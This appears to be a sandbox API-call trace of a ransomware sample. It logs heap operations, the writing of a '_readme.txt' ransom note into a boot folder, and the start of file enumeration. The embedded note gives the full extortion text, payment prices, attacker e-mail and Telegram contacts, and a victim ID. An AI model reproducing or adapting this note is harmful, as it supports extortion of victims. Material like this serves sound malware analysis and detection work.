0x307fdd8 [0119.535] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.535] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b78 | out: hHeap=0x5e0000) returned 1 [0119.535] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b78 [0119.535] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307fdd8 [0119.535] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.535] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b78 | out: hHeap=0x5e0000) returned 1 [0119.535] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b78 [0119.535] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307fdd8 [0119.535] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.535] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b78 | out: hHeap=0x5e0000) returned 1 [0119.535] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b78 [0119.535] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307fdd8 [0119.535] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.535] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b78 | out: hHeap=0x5e0000) returned 1 [0119.535] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b78 [0119.535] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307fdd8 [0119.535] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.535] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b78 | out: hHeap=0x5e0000) returned 1 [0119.535] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b78 [0119.536] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307fdd8 [0119.536] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc46) returned 0x3092b80 [0119.536] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.536] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0119.536] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b78 | out: hHeap=0x5e0000) returned 1 [0119.536] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b78 [0119.536] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307fdd8 [0119.536] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.536] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b78 | out: hHeap=0x5e0000) returned 1 [0119.536] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b78 [0119.536] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307fdd8 [0119.536] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc2e) returned 0x3092b80 [0119.536] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.536] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0119.536] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b78 | out: hHeap=0x5e0000) returned 1 [0119.536] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b78 [0119.536] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x860) returned 0x3092b80 [0119.536] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0119.536] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b78 | out: hHeap=0x5e0000) returned 1 [0119.536] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b78 [0119.536] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x860) returned 0x3092b80 [0119.536] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0119.536] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b78 | out: hHeap=0x5e0000) returned 1 [0119.536] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b78 [0119.536] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307fdd8 [0119.536] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.536] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b78 | out: hHeap=0x5e0000) returned 1 [0119.536] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b78 [0119.536] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307fdd8 [0119.536] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.536] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b78 | out: hHeap=0x5e0000) returned 1 [0119.536] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b78 [0119.536] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307fdd8 [0119.537] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc46) returned 0x3092b80 [0119.537] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.537] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0119.537] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b78 | out: hHeap=0x5e0000) returned 1 [0119.537] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b78 [0119.537] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x840) returned 0x307fdd8 [0119.537] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.537] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b78 | out: hHeap=0x5e0000) returned 1 [0119.537] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b78 [0119.537] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x840) returned 0x307fdd8 [0119.537] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.537] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b78 | out: hHeap=0x5e0000) returned 1 [0119.537] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b78 [0119.537] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307fdd8 [0119.537] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.537] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b78 | out: hHeap=0x5e0000) returned 1 [0119.537] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b78 [0119.537] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307fdd8 [0119.537] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.537] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b78 | out: hHeap=0x5e0000) returned 1 [0119.537] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b78 [0119.537] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307fdd8 [0119.537] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.537] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b78 | out: hHeap=0x5e0000) returned 1 [0119.537] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b78 [0119.537] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307fdd8 [0119.537] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.537] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b78 | out: hHeap=0x5e0000) returned 1 [0119.537] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b78 [0119.537] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307fdd8 [0119.537] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.537] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b78 | out: hHeap=0x5e0000) returned 1 [0119.537] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b78 [0119.537] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307fdd8 [0119.538] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.538] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b78 | out: hHeap=0x5e0000) returned 1 [0119.538] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b78 [0119.538] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307fdd8 [0119.538] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.538] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b78 | out: hHeap=0x5e0000) returned 1 [0119.538] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b78 [0119.538] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307fdd8 [0119.538] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc46) returned 0x3092b80 [0119.538] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.538] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0119.538] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b78 | out: hHeap=0x5e0000) returned 1 [0119.538] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b78 [0119.538] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307fdd8 [0119.538] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.538] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b78 | out: hHeap=0x5e0000) returned 1 [0119.538] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b78 [0119.538] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x860) returned 0x3092b80 [0119.538] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0119.538] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b78 | out: hHeap=0x5e0000) returned 1 [0119.538] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b78 [0119.538] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x860) returned 0x3092b80 [0119.538] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0119.538] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b78 | out: hHeap=0x5e0000) returned 1 [0119.538] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b78 [0119.538] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307fdd8 [0119.538] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.538] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b78 | out: hHeap=0x5e0000) returned 1 [0119.538] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b78 [0119.538] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307fdd8 [0119.538] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.538] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b78 | out: hHeap=0x5e0000) returned 1 [0119.539] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b78 [0119.539] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307fdd8 [0119.539] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc46) returned 0x3092b80 [0119.539] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.539] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0119.539] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b78 | out: hHeap=0x5e0000) returned 1 [0119.539] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b78 [0119.539] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x840) returned 0x307fdd8 [0119.539] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.539] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b78 | out: hHeap=0x5e0000) returned 1 [0119.539] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b78 [0119.539] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x840) returned 0x307fdd8 [0119.539] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.539] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b78 | out: hHeap=0x5e0000) returned 1 [0119.539] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b78 [0119.539] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307fdd8 [0119.539] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.539] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b78 | out: hHeap=0x5e0000) returned 1 [0119.539] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b78 [0119.539] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307fdd8 [0119.539] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.539] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b78 | out: hHeap=0x5e0000) returned 1 [0119.539] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b78 [0119.539] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307fdd8 [0119.539] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.539] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b78 | out: hHeap=0x5e0000) returned 1 [0119.539] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b78 [0119.539] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307fdd8 [0119.539] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.539] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b78 | out: hHeap=0x5e0000) returned 1 [0119.539] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b78 [0119.539] PathFindFileNameW (pszPath="C:\\Boot\\el-GR\\") returned="el-GR\\" [0119.540] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0119.540] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b50 | out: hHeap=0x5e0000) returned 1 [0119.540] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0119.540] PathFindFileNameW (pszPath="") returned="" [0119.540] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x754f0000 [0119.540] GetProcAddress (hModule=0x754f0000, lpProcName="SHGetFolderPathW") returned 0x75575708 [0119.540] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x3092b80 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0119.540] FreeLibrary (hLibModule=0x754f0000) returned 1 [0119.540] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b78 | out: hHeap=0x5e0000) returned 1 [0119.540] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0119.540] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b28 | out: hHeap=0x5e0000) returned 1 [0119.540] PathAppendW (in: pszPath="C:\\Boot\\el-GR\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\el-GR\\_readme.txt") returned 1 [0119.540] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0119.540] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b28 | out: hHeap=0x5e0000) returned 1 [0119.540] PathFileExistsW (pszPath="C:\\Boot\\el-GR\\_readme.txt") returned 0 [0119.541] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x7d00) returned 0x3095780 [0119.541] lstrcpyW (in: lpString1=0x3095780, lpString2="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-i9Z5mq0D52\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nferast@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n106Asdj475yiudf" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-i9Z5mq0D52\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nferast@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n106Asdj475yiudf") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-i9Z5mq0D52\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nferast@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n106Asdj475yiudf" [0119.541] lstrcatW (in: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-i9Z5mq0D52\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nferast@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n106Asdj475yiudf", lpString2="plhRwweYuyAJHh7eLian6WZIk6YSFqX6xEWYVv4M" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-i9Z5mq0D52\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nferast@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n106Asdj475yiudfplhRwweYuyAJHh7eLian6WZIk6YSFqX6xEWYVv4M") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-i9Z5mq0D52\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nferast@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n106Asdj475yiudfplhRwweYuyAJHh7eLian6WZIk6YSFqX6xEWYVv4M" [0119.541] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x3080660 [0119.541] CreateFileW (lpFileName="C:\\Boot\\el-GR\\_readme.txt" (normalized: "c:\\boot\\el-gr\\_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0119.541] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3080660 | out: hHeap=0x5e0000) returned 1 [0119.541] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3095780 | out: hHeap=0x5e0000) returned 1 [0119.541] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.541] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b28 [0119.541] FindFirstFileW (in: lpFileName="C:\\Boot\\el-GR\\*", lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3008f60 [0119.541] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b28 | out: hHeap=0x5e0000) returned 1 [0119.541] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0119.541] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xea239054, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x17250, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0119.541] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x20, 